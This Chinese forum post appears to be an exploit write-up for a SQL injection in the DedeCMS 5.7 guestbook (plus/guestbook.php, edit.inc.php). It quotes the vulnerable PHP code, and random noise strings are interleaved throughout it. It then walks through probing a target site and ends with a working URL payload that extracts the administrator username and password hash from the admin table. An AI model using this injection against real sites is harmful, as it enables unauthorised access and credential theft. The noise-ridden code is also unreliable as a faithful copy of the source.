影响版本为5.7
$ E( n5 i& V6 B1 \" z ^( G
/ h+ s, H' O/ E9 V& Y) i& B漏洞文件edit.inc.php具体代码:$ R3 y# E% g9 b
+ y P8 b9 o3 F2 d0 Y7 p4 V0 Q7 i! u< ?php
: V% m; ?$ i! _' e7 a2 z8 w7 S: f _6 x! d2 t$ r
if(!defined('DEDEINC')) exit('Request Error!'); - l a8 G* p* C
2 x7 B* t$ \' o( n: ?3 Y2 |; {
8 P6 Z7 K" ?: H* F( t# ^
. D- \4 @ P* s( s
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
( s; ^) E3 Z$ b5 j, _' r& e( R# U' U% M* d: X }+ ?
else $GUEST_BOOK_POS = "guestbook.php";
+ Y. w7 I! i' w/ K E6 z
$ w0 Y/ y/ L A6 B# E9 B$ x 6 Z3 E) S6 F. ?) E
0 o% \$ h9 d) Q% |/ G9 X; B
$id = intval($id);
2 h' H v6 C- c
( }0 Y7 ?* ~1 N: A# c& Hif(empty($job)) $job='view'; 7 W7 @3 e- e; r( ~' {
9 y5 \- S: y* P5 C8 b& b5 f. ^
7 i& a$ P5 @, J+ m; D) K& r
9 p- M9 B5 i& ?. N9 k
if($job=='del' && $g_isadmin) 4 T S: [/ g3 g0 z! w6 X
/ e, Q; M: W1 e% X
{
. } k1 \( x+ w! S$ U) H8 L
" r" O. j( `) g d8 [4 l, ~2 l$ z$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
: _' U& D2 M0 M/ Y0 T; B' t s6 F( H3 w# ^# K" I+ Y
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); ) E' t* b% v& S: Y( B$ P
; r: r3 y( \# M8 U! y1 O
exit();
, A# Q! W7 ^0 [7 k W7 A' Q0 p4 r& P/ E8 ?
} 2 ^% L! W2 ?" s6 M
6 D: t, E3 q7 U) L5 j- R8 l
else if($job=='check' && $g_isadmin)
6 Z% V8 _# i, O' e/ s1 K& i4 O2 Y G8 h1 y4 P& Z
{ 6 W m2 j) y; F/ p
; T9 ^) y+ H1 R
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); " {/ C5 r0 Y% Q( b/ a, T4 n: @
. C" H+ l3 u, j
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); ; ]7 E1 Z9 b8 g5 r/ W% |
. j; f" _1 y' d5 H
exit(); 7 F( H0 T8 ?" I# t# N- A
% s5 K0 H7 K1 v0 d9 Q}
b( W+ x3 H5 W: U% ?; F \* @2 v) x4 L
else if($job=='editok')
5 m& G, _7 E" B2 g
1 J7 s, S: O% e. [{
) w& t9 t- @( a$ R) P* k/ \6 W/ T* y) W+ @3 \0 U/ U, K- z
$remsg = trim($remsg); ( {6 J3 |4 ]; n) F
4 Z0 K& ^# z3 m: hif($remsg!='') 8 |6 s2 l+ |4 Y0 m& w9 o8 m' B
& I4 k6 h8 F9 ?# n8 K) [
{ , K! a5 i$ D+ y
* E- r; N4 U W; b9 M' `" p w$ v//管理员回复不过滤HTML By:Errorera blog:errs.cc
6 t' ]! D& p( a& \3 [. H! h
) k4 s# ~' W0 c7 b4 Zif($g_isadmin)
" S" \0 D( F! L5 b7 u
# p: l% w0 g/ D! O; e+ s{
8 n2 g( g' @( }- }( N6 i7 ]$ i4 ?1 h
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; ( c7 t4 T1 M4 f( O$ ]% u$ e! r
& P1 j/ E: W/ q7 a/ b2 g//$remsg <br /><font color=red>管理员回复:</font> } , H* t8 S3 Y% o- R
2 ?& u% u# X. i" n
else 5 y- z4 x, v# n1 `8 t7 ~
* I- R2 x4 a( X0 y' @{ 9 d/ J' Y% `% R' X. Z3 `
6 @/ X, [0 z1 v5 r$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); " r: X+ P: Y3 g9 Z# Z
/ [( ?, @5 D; J5 K+ h9 X
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
5 |7 U2 m* i L( J
+ k/ K# Z. `% I4 O* x! X$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
$ D, v/ i( j7 \$ Y8 L# A" e4 a6 k
$msg = $oldmsg.$remsg; 3 W& b4 N9 \' n$ `' ?. e
5 M7 {" i; \! e7 j, ]! _+ q& k
}
4 S0 a" t: a p% P
. }, c& c2 ~- d# n' V& n* U9 @} % `; ?! I. V4 A+ A$ X
5 C6 r; A5 s s6 O; Z6 k$ k
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc # K) s9 j W) b( K8 g# @
9 i2 q8 L7 Y) z: c5 v$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); ; G! R- {+ p* ]8 k* U
% ? {# W+ {3 K: {2 w1 p! }- Y9 oShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
) E9 u/ Q" d! _9 h |% S8 p, i% K
/ K/ T2 |$ O; i- z v7 {- m- fexit();
& ]( f3 k# |% Q8 {5 [ h* k1 v0 S/ @
3 }7 r! }9 C+ P} , g4 C, r; t5 d0 N
- g7 v" v- c2 b2 P! h
//home:www.errs.cc
0 u3 l* a1 D. ]% c( V" y) a; M
$ s& d5 U! R$ vif($g_isadmin)
0 {+ V% {% ]7 p+ K6 i
. p2 a" }0 ], w. y! p9 @! Q{
( u1 B7 O. G7 [: r, d
" [* E* x- {+ Y3 _1 ]. o) ?& o$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
* S- G+ o$ N9 I0 c7 f& t X& I, _
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
9 O0 f7 D t6 B3 t+ B2 v3 ^
- C$ o/ Q4 m# f/ ~+ c/ E9 u} ; S4 F4 R9 M4 H1 g
* @* o& s, r9 T' a, w" V9 B
else . F. g. q$ e- k- ^$ ^- l
5 n" |1 q" Q v* U; I' V{ ) j6 l S1 U8 w( i
/ Z' ?; t: V% V# ^$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
% r0 @ U, A7 ]3 q; W, K; d$ o$ H) A% O7 b0 p
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
+ o0 a2 b9 i( V7 T R0 O# P4 G% u- l
} 漏洞成功需要条件:6 `' f* @) s( |" N
1. php magic_quotes_gpc=off
! h" x6 i* ?4 R: D* W6 I! u2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。3 t0 S1 E2 `6 {5 }. T. ]- E
: J Q8 C1 k. p7 |3 V7 T怎么判断是否存在漏洞:# d5 r, {' z! o! J0 b: S
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
3 ~5 G) a; G ~8 d& Q然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
; t9 G9 Z3 Y& }5 C0 x5 e访问:
4 W/ Y4 d- u9 F" }
: M& K8 r! M. K- |3 Gwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
7 Z5 |1 i9 c3 O1 O3 C' j2 v跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证; G. H( h8 R% `, n/ E# ?. e8 w
" p. t; c# o1 T% x2 v# ]
4 S* |; q( |& J3 c4 m; C# `明漏洞无法利用应为他开启了 php magic_quotes_gpc=off! Y! _3 s/ E6 `- w- K+ a
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。( B& Z( p/ M& |2 k! }
那么再次访问
& Y& n/ M% L$ _' @# D7 k; W9 Q: S2 A& |$ `9 e4 V( N9 T
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
; o9 v/ ~* N+ E6 y1 ~; {- _: H# @9 {! c
大概利用就是这样,大家有兴趣的多研究下!!
% A6 P6 {5 Y+ ^- G# {7 v3 `! V" J4 }& I( O7 c' Y/ @- A/ R1 H1 N
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
; J1 d: d0 g6 A9 H& O5 G
& r8 |1 P# C! k2 I5 j" p# ^, U; hview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |